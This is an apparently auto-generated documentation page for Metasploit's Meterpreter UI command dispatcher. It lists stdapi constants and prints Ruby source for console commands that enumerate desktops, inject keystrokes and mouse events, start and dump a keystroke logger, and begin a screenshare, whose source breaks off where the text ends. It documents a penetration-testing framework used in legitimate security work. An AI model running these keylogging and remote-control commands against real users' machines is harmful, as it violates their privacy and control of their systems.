Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui

Inherits:
Object
  • Object
show all
Includes:
Extensions::Stdapi, Rex::Post::Meterpreter::Ui::Console::CommandDispatcher, Stream
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb

Overview

The user interface portion of the standard API extension.

Constant Summary collapse

Klass =
Console::CommandDispatcher::Stdapi::Ui

Constants included from Extensions::Stdapi

Extensions::Stdapi::COMMAND_ID_STDAPI_AUDIO_MIC_LIST, Extensions::Stdapi::COMMAND_ID_STDAPI_AUDIO_MIC_START, Extensions::Stdapi::COMMAND_ID_STDAPI_AUDIO_MIC_STOP, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_CHDIR, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_CHMOD, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_DELETE_DIR, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_DELETE_FILE, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_FILE_COPY, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_FILE_EXPAND_PATH, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_FILE_MOVE, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_GETWD, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_LS, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_MD5, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_MKDIR, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_MOUNT_SHOW, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_SEARCH, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_SEPARATOR, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_SHA1, Extensions::Stdapi::COMMAND_ID_STDAPI_FS_STAT, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_ADD_ROUTE, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_ARP_TABLE, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_INTERFACES, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_NETSTAT, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_PROXY, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_GET_ROUTES, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_CONFIG_REMOVE_ROUTE, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOSTS, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_SOCKET_TCP_SHUTDOWN, Extensions::Stdapi::COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN, Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API, Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_API_MULTI, Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_MEMREAD, Extensions::Stdapi::COMMAND_ID_STDAPI_RAILGUN_MEMWRITE, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_CHECK_KEY_EXISTS, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_CLOSE_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_CREATE_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_DELETE_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_DELETE_VALUE, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_ENUM_KEY_DIRECT, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_ENUM_VALUE_DIRECT, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_LOAD_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_OPEN_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_OPEN_REMOTE_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_QUERY_VALUE_DIRECT, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_SET_VALUE, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_SET_VALUE_DIRECT, Extensions::Stdapi::COMMAND_ID_STDAPI_REGISTRY_UNLOAD_KEY, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_DRIVER_LIST, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_DROP_TOKEN, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_GETENV, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_GETPRIVS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_GETSID, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_GETUID, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_LOCALTIME, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_REV2SELF, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_STEAL_TOKEN, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_SYSINFO, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_CONFIG_UPDATE_TOKEN, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_CLEAR, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_CLOSE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_NUMRECORDS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_OLDEST, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_OPEN, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_EVENTLOG_READ, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_POWER_EXITWINDOWS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_ATTACH, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_CLOSE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_EXECUTE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_GETPID, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_GET_INFO, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_GET_PROCESSES, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_IMAGES, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_GET_PROC_ADDRESS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_LOAD, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_IMAGE_UNLOAD, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_KILL, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_ALLOCATE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_FREE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_LOCK, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_PROTECT, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_QUERY, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_READ, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_SEARCH, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_UNLOCK, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_MEMORY_WRITE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_SET_TERM_SIZE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CLOSE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_CREATE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_GET_THREADS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_OPEN, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_QUERY_REGS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_RESUME, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SET_REGS, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_SUSPEND, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_THREAD_TERMINATE, Extensions::Stdapi::COMMAND_ID_STDAPI_SYS_PROCESS_WAIT, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_DESKTOP_ENUM, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_DESKTOP_GET, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_DESKTOP_SET, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_ENABLE_MOUSE, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_GET_IDLE_TIME, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_SEND_KEYEVENT, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_SEND_KEYS, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_SEND_MOUSE, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_START_KEYSCAN, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_STOP_KEYSCAN, Extensions::Stdapi::COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP, Extensions::Stdapi::COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD, Extensions::Stdapi::COMMAND_ID_STDAPI_WEBCAM_GET_FRAME, Extensions::Stdapi::COMMAND_ID_STDAPI_WEBCAM_LIST, Extensions::Stdapi::COMMAND_ID_STDAPI_WEBCAM_START, Extensions::Stdapi::COMMAND_ID_STDAPI_WEBCAM_STOP, Extensions::Stdapi::DELETE_KEY_FLAG_RECURSIVE, Extensions::Stdapi::EXTENSION_ID_STDAPI, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_ARG_ARRAY, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_CHANNELIZED, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_DESKTOP, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_HIDDEN, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_PTY, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_SESSION, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_SUBSHELL, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_SUSPENDED, Extensions::Stdapi::PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN, Extensions::Stdapi::TLV_TYPE_ADDR_TYPE, Extensions::Stdapi::TLV_TYPE_ALLOCATION_TYPE, Extensions::Stdapi::TLV_TYPE_ALLOC_BASE_ADDRESS, Extensions::Stdapi::TLV_TYPE_ALLOC_PROTECTION, Extensions::Stdapi::TLV_TYPE_ARCHITECTURE, Extensions::Stdapi::TLV_TYPE_ARP_ENTRY, Extensions::Stdapi::TLV_TYPE_AUDIO_DATA, Extensions::Stdapi::TLV_TYPE_AUDIO_DURATION, Extensions::Stdapi::TLV_TYPE_AUDIO_INTERFACE_ID, Extensions::Stdapi::TLV_TYPE_AUDIO_INTERFACE_NAME, Extensions::Stdapi::TLV_TYPE_BASE_ADDRESS, Extensions::Stdapi::TLV_TYPE_BASE_KEY, Extensions::Stdapi::TLV_TYPE_BUILD_TUPLE, Extensions::Stdapi::TLV_TYPE_COMPUTER_NAME, Extensions::Stdapi::TLV_TYPE_CONNECT_RETRIES, Extensions::Stdapi::TLV_TYPE_CREATION_FLAGS, Extensions::Stdapi::TLV_TYPE_DESKTOP, Extensions::Stdapi::TLV_TYPE_DESKTOP_NAME, Extensions::Stdapi::TLV_TYPE_DESKTOP_SCREENSHOT, Extensions::Stdapi::TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, Extensions::Stdapi::TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, Extensions::Stdapi::TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, Extensions::Stdapi::TLV_TYPE_DESKTOP_SESSION, Extensions::Stdapi::TLV_TYPE_DESKTOP_STATION, Extensions::Stdapi::TLV_TYPE_DESKTOP_SWITCH, Extensions::Stdapi::TLV_TYPE_DIRECTORY_PATH, Extensions::Stdapi::TLV_TYPE_DOMAIN, Extensions::Stdapi::TLV_TYPE_DRIVER_BASENAME, Extensions::Stdapi::TLV_TYPE_DRIVER_ENTRY, Extensions::Stdapi::TLV_TYPE_DRIVER_FILENAME, Extensions::Stdapi::TLV_TYPE_ENTRY_PARAMETER, Extensions::Stdapi::TLV_TYPE_ENTRY_POINT, Extensions::Stdapi::TLV_TYPE_ENV_GROUP, Extensions::Stdapi::TLV_TYPE_ENV_VALUE, Extensions::Stdapi::TLV_TYPE_ENV_VARIABLE, Extensions::Stdapi::TLV_TYPE_EVENT_CATEGORY, Extensions::Stdapi::TLV_TYPE_EVENT_DATA, Extensions::Stdapi::TLV_TYPE_EVENT_HANDLE, Extensions::Stdapi::TLV_TYPE_EVENT_ID, Extensions::Stdapi::TLV_TYPE_EVENT_NUMRECORDS, Extensions::Stdapi::TLV_TYPE_EVENT_READFLAGS, Extensions::Stdapi::TLV_TYPE_EVENT_RECORDNUMBER, Extensions::Stdapi::TLV_TYPE_EVENT_RECORDOFFSET, Extensions::Stdapi::TLV_TYPE_EVENT_SOURCENAME, Extensions::Stdapi::TLV_TYPE_EVENT_STRING, Extensions::Stdapi::TLV_TYPE_EVENT_TIMEGENERATED, Extensions::Stdapi::TLV_TYPE_EVENT_TIMEWRITTEN, Extensions::Stdapi::TLV_TYPE_EVENT_TYPE, Extensions::Stdapi::TLV_TYPE_EXIT_CODE, Extensions::Stdapi::TLV_TYPE_FILE_HASH, Extensions::Stdapi::TLV_TYPE_FILE_MODE, Extensions::Stdapi::TLV_TYPE_FILE_MODE_T, Extensions::Stdapi::TLV_TYPE_FILE_NAME, Extensions::Stdapi::TLV_TYPE_FILE_PATH, Extensions::Stdapi::TLV_TYPE_FILE_SHORT_NAME, Extensions::Stdapi::TLV_TYPE_FILE_SIZE, Extensions::Stdapi::TLV_TYPE_GATEWAY, Extensions::Stdapi::TLV_TYPE_GATEWAY_STRING, Extensions::Stdapi::TLV_TYPE_HANDLE, Extensions::Stdapi::TLV_TYPE_HKEY, Extensions::Stdapi::TLV_TYPE_HOST_NAME, Extensions::Stdapi::TLV_TYPE_IDLE_TIME, Extensions::Stdapi::TLV_TYPE_IMAGE_BASE, Extensions::Stdapi::TLV_TYPE_IMAGE_FILE, Extensions::Stdapi::TLV_TYPE_IMAGE_FILE_PATH, Extensions::Stdapi::TLV_TYPE_IMAGE_GROUP, Extensions::Stdapi::TLV_TYPE_IMAGE_NAME, Extensions::Stdapi::TLV_TYPE_INHERIT, Extensions::Stdapi::TLV_TYPE_INTERFACE_FLAGS, Extensions::Stdapi::TLV_TYPE_INTERFACE_INDEX, Extensions::Stdapi::TLV_TYPE_INTERFACE_MTU, Extensions::Stdapi::TLV_TYPE_IP, Extensions::Stdapi::TLV_TYPE_IP6_SCOPE, Extensions::Stdapi::TLV_TYPE_IP_PREFIX, Extensions::Stdapi::TLV_TYPE_KEYEVENT_SEND, Extensions::Stdapi::TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, Extensions::Stdapi::TLV_TYPE_KEYS_DUMP, Extensions::Stdapi::TLV_TYPE_KEYS_SEND, Extensions::Stdapi::TLV_TYPE_KEY_NAME, Extensions::Stdapi::TLV_TYPE_LANG_SYSTEM, Extensions::Stdapi::TLV_TYPE_LOCAL_DATETIME, Extensions::Stdapi::TLV_TYPE_LOCAL_HOST, Extensions::Stdapi::TLV_TYPE_LOCAL_HOST_RAW, Extensions::Stdapi::TLV_TYPE_LOCAL_PORT, Extensions::Stdapi::TLV_TYPE_LOGGED_ON_USER_COUNT, Extensions::Stdapi::TLV_TYPE_MAC_ADDRESS, Extensions::Stdapi::TLV_TYPE_MAC_NAME, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_NEEDLE, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN, Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR, Extensions::Stdapi::TLV_TYPE_MEMORY_STATE, Extensions::Stdapi::TLV_TYPE_MEMORY_TYPE, Extensions::Stdapi::TLV_TYPE_MOUNT, Extensions::Stdapi::TLV_TYPE_MOUNT_NAME, Extensions::Stdapi::TLV_TYPE_MOUNT_SPACE_FREE, Extensions::Stdapi::TLV_TYPE_MOUNT_SPACE_TOTAL, Extensions::Stdapi::TLV_TYPE_MOUNT_SPACE_USER, Extensions::Stdapi::TLV_TYPE_MOUNT_TYPE, Extensions::Stdapi::TLV_TYPE_MOUNT_UNCPATH, Extensions::Stdapi::TLV_TYPE_MOUSE_ACTION, Extensions::Stdapi::TLV_TYPE_MOUSE_X, Extensions::Stdapi::TLV_TYPE_MOUSE_Y, Extensions::Stdapi::TLV_TYPE_NETMASK, Extensions::Stdapi::TLV_TYPE_NETMASK_STRING, Extensions::Stdapi::TLV_TYPE_NETSTAT_ENTRY, Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE, Extensions::Stdapi::TLV_TYPE_NETWORK_ROUTE, Extensions::Stdapi::TLV_TYPE_OS_NAME, Extensions::Stdapi::TLV_TYPE_PARENT_PID, Extensions::Stdapi::TLV_TYPE_PEER_HOST, Extensions::Stdapi::TLV_TYPE_PEER_HOST_RAW, Extensions::Stdapi::TLV_TYPE_PEER_PORT, Extensions::Stdapi::TLV_TYPE_PERMISSION, Extensions::Stdapi::TLV_TYPE_PID, Extensions::Stdapi::TLV_TYPE_PORT, Extensions::Stdapi::TLV_TYPE_POWER_FLAGS, Extensions::Stdapi::TLV_TYPE_POWER_REASON, Extensions::Stdapi::TLV_TYPE_PRIVILEGE, Extensions::Stdapi::TLV_TYPE_PROCEDURE_ADDRESS, Extensions::Stdapi::TLV_TYPE_PROCEDURE_NAME, Extensions::Stdapi::TLV_TYPE_PROCESS_ARCH, Extensions::Stdapi::TLV_TYPE_PROCESS_ARCH_NAME, Extensions::Stdapi::TLV_TYPE_PROCESS_ARGUMENT, Extensions::Stdapi::TLV_TYPE_PROCESS_ARGUMENTS, Extensions::Stdapi::TLV_TYPE_PROCESS_FLAGS, Extensions::Stdapi::TLV_TYPE_PROCESS_GROUP, Extensions::Stdapi::TLV_TYPE_PROCESS_HANDLE, Extensions::Stdapi::TLV_TYPE_PROCESS_MEMORY, Extensions::Stdapi::TLV_TYPE_PROCESS_NAME, Extensions::Stdapi::TLV_TYPE_PROCESS_PATH, Extensions::Stdapi::TLV_TYPE_PROCESS_PERMS, Extensions::Stdapi::TLV_TYPE_PROCESS_SESSION, Extensions::Stdapi::TLV_TYPE_PROCESS_UNESCAPED_PATH, Extensions::Stdapi::TLV_TYPE_PROTECTION, Extensions::Stdapi::TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, Extensions::Stdapi::TLV_TYPE_PROXY_CFG_AUTODETECT, Extensions::Stdapi::TLV_TYPE_PROXY_CFG_PROXY, Extensions::Stdapi::TLV_TYPE_PROXY_CFG_PROXYBYPASS, Extensions::Stdapi::TLV_TYPE_REGISTER, Extensions::Stdapi::TLV_TYPE_REGISTER_NAME, Extensions::Stdapi::TLV_TYPE_REGISTER_SIZE, Extensions::Stdapi::TLV_TYPE_REGISTER_VALUE_32, Extensions::Stdapi::TLV_TYPE_ROOT_KEY, Extensions::Stdapi::TLV_TYPE_ROUTE_METRIC, Extensions::Stdapi::TLV_TYPE_SEARCH_GLOB, Extensions::Stdapi::TLV_TYPE_SEARCH_MTIME, Extensions::Stdapi::TLV_TYPE_SEARCH_M_END_DATE, Extensions::Stdapi::TLV_TYPE_SEARCH_M_START_DATE, Extensions::Stdapi::TLV_TYPE_SEARCH_RECURSE, Extensions::Stdapi::TLV_TYPE_SEARCH_RESULTS, Extensions::Stdapi::TLV_TYPE_SEARCH_ROOT, Extensions::Stdapi::TLV_TYPE_SHUTDOWN_HOW, Extensions::Stdapi::TLV_TYPE_SID, Extensions::Stdapi::TLV_TYPE_STAT_BUF, Extensions::Stdapi::TLV_TYPE_STAT_BUF32, Extensions::Stdapi::TLV_TYPE_SUBNET, Extensions::Stdapi::TLV_TYPE_SUBNET_STRING, Extensions::Stdapi::TLV_TYPE_TARGET_HOST, Extensions::Stdapi::TLV_TYPE_TERMINAL_COLUMNS, Extensions::Stdapi::TLV_TYPE_TERMINAL_ROWS, Extensions::Stdapi::TLV_TYPE_THREAD_HANDLE, Extensions::Stdapi::TLV_TYPE_THREAD_ID, Extensions::Stdapi::TLV_TYPE_THREAD_PERMS, Extensions::Stdapi::TLV_TYPE_USER_NAME, Extensions::Stdapi::TLV_TYPE_VALUE_DATA, Extensions::Stdapi::TLV_TYPE_VALUE_NAME, Extensions::Stdapi::TLV_TYPE_VALUE_TYPE, Extensions::Stdapi::TLV_TYPE_WEBCAM_IMAGE, Extensions::Stdapi::TLV_TYPE_WEBCAM_INTERFACE_ID, Extensions::Stdapi::TLV_TYPE_WEBCAM_NAME, Extensions::Stdapi::TLV_TYPE_WEBCAM_QUALITY

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Stream

#stream_html_template

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #docs_dir, #filter_commands, #initialize, #log_error, #msf_loaded?, #session, set_hash, #unknown_command

Methods included from Msf::Ui::Console::CommandDispatcher::Session

#cmd_background, #cmd_background_help, #cmd_exit, #cmd_irb, #cmd_irb_help, #cmd_irb_tabs, #cmd_pry, #cmd_pry_help, #cmd_resource, #cmd_resource_help, #cmd_resource_tabs, #cmd_sessions, #cmd_sessions_help

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Instance Method Details

#cmd_enumdesktops(*args) ⇒ Object

Enumerate desktops



278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 278

def cmd_enumdesktops(*args)
  print_line("Enumerating all accessible desktops")

  desktops = client.ui.enum_desktops

  desktopstable = Rex::Text::Table.new(
    'Header'  => "Desktops",
    'Indent'  => 4,
    'Columns' => [  "Session",
            "Station",
            "Name"
          ]
  )

  desktops.each { | desktop |
    session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
    desktopstable << [ session, desktop['station'], desktop['name'] ]
  }

  if desktops.length == 0
    print_line("No accessible desktops were found.")
  else
    print("\n" + desktopstable.to_s + "\n")
  end

  return true
end

#cmd_getdesktop(*args) ⇒ Object

Get the current meterpreter desktop.



309
310
311
312
313
314
315
316
317
318
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 309

def cmd_getdesktop(*args)

  desktop = client.ui.get_desktop

  session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"

  print_line("#{session}#{desktop['station']}\\#{desktop['name']}")

  return true
end

#cmd_idletime(*args) ⇒ Object

Executes a command with some options.



76
77
78
79
80
81
82
83
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 76

def cmd_idletime(*args)
  seconds = client.ui.idle_time

  print_line(
    "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")

  return true
end

#cmd_keyboard_send(*args) ⇒ Object

Send keystrokes



438
439
440
441
442
443
444
445
446
447
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 438

def cmd_keyboard_send(*args)
  if args.length == 0
    print_line('Please specify input string')
    return
  end

  keys = args[0]
  client.ui.keyboard_send(keys)
  print_status('Done')
end

#cmd_keyevent(*args) ⇒ Object

Send key events



452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 452

def cmd_keyevent(*args)
  action = 0
  if args.length == 1
    keycode = args[0].to_i
  elsif args.length == 2
    keycode = args[0].to_i
    if args[1] == 'down'
      action = 1
    elsif args[1] == 'up'
      action = 2
    end
  else
    print_line("Usage: keyevent keycode [action] (press, up, down)")
    print_line("  e.g: keyevent 13 press (send the enter key)")
    print_line("       keyevent 17 down (control key down)\n")
    return
  end

  client.ui.keyevent_send(keycode, action)
  print_status('Done')
end

#cmd_keyscan_dump(*args) ⇒ Object

Dump captured keystrokes



426
427
428
429
430
431
432
433
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 426

def cmd_keyscan_dump(*args)
  print_line("Dumping captured keystrokes...")
  data = client.ui.keyscan_dump
  print_line(data + "\n")      # the additional newline is to keep the resulting output
                               # from crowding the Meterpreter command prompt, which
                               # is visually frustrating without color
  return true
end

#cmd_keyscan_start(*args) ⇒ Object

Start the keyboard sniffer



388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 388

def cmd_keyscan_start(*args)
  trackwin = false

  keyscan_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    "-v" => [ false, "Verbose logging: tracks the current active window in which keystrokes are occurring." ]
  )

  keyscan_opts.parse(args) { | opt |
    case opt
    when "-h"
      print_line("Usage: keyscan_start <options>")
      print_line("Starts the key logger")
      print_line(keyscan_opts.usage)
      return
    when "-v"
      print_line("Verbose logging selected ...")
      trackwin = true
    end
  }

  print_line("Starting the keystroke sniffer ...")
  client.ui.keyscan_start(trackwin)
  return true
end

#cmd_keyscan_stop(*args) ⇒ Object

Stop the keyboard sniffer



417
418
419
420
421
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 417

def cmd_keyscan_stop(*args)
  print_line("Stopping the keystroke sniffer...")
  client.ui.keyscan_stop
  return true
end

#cmd_mouse(*args) ⇒ Object

Send mouse events



477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 477

def cmd_mouse(*args)
  if args.length == 1
    client.ui.mouse(args[0])
  elsif args.length == 2
    client.ui.mouse('click', args[0], args[1])
  elsif args.length == 3
    client.ui.mouse(args[0], args[1], args[2])
  else
    print_line("Usage: mouse action (move, click, up, down, rightclick, rightup, rightdown, doubleclick)")
    print_line("       mouse [x] [y] (click)")
    print_line("       mouse [action] [x] [y]")
    print_line("  e.g: mouse click")
    print_line("       mouse rightclick 1 1")
    print_line("       mouse move 640 480\n")
    return
  end
  print_status('Done')
end

#cmd_screenshare(*args) ⇒ Object

Screenshare the current interactive desktop.



203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 203

def cmd_screenshare( *args )
  stream_path = Rex::Text.rand_text_alpha(8) + ".jpeg"
  player_path = Rex::Text.rand_text_alpha(8) + ".html"
  quality = 50
  view = true
  duration = 1800

  screenshare_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-s" => [ true, "The stream file path (Default: '#{stream_path}')" ],
    "-t" => [ true, "The stream player path (Default: #{player_path})"],
    "-v" => [ true, "Automatically view the stream (Default: '#{view}')" ],
    "-d" => [ true, "The stream duration in seconds (Default: 1800)" ] # 30 min
  )

  screenshare_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: screenshare [options]\n" )
        print_line( "View the current interactive desktop in real time." )
        print_line( screenshare_opts.usage )
        return
      when "-q"
        quality = val.to_i
      when "-s"
        stream_path = val
      when "-t"
        player_path = val
      when "-v"
        view = false if val =~ /^(f|n|0)/i
      when "-d"
        duration = val.to_i
    end
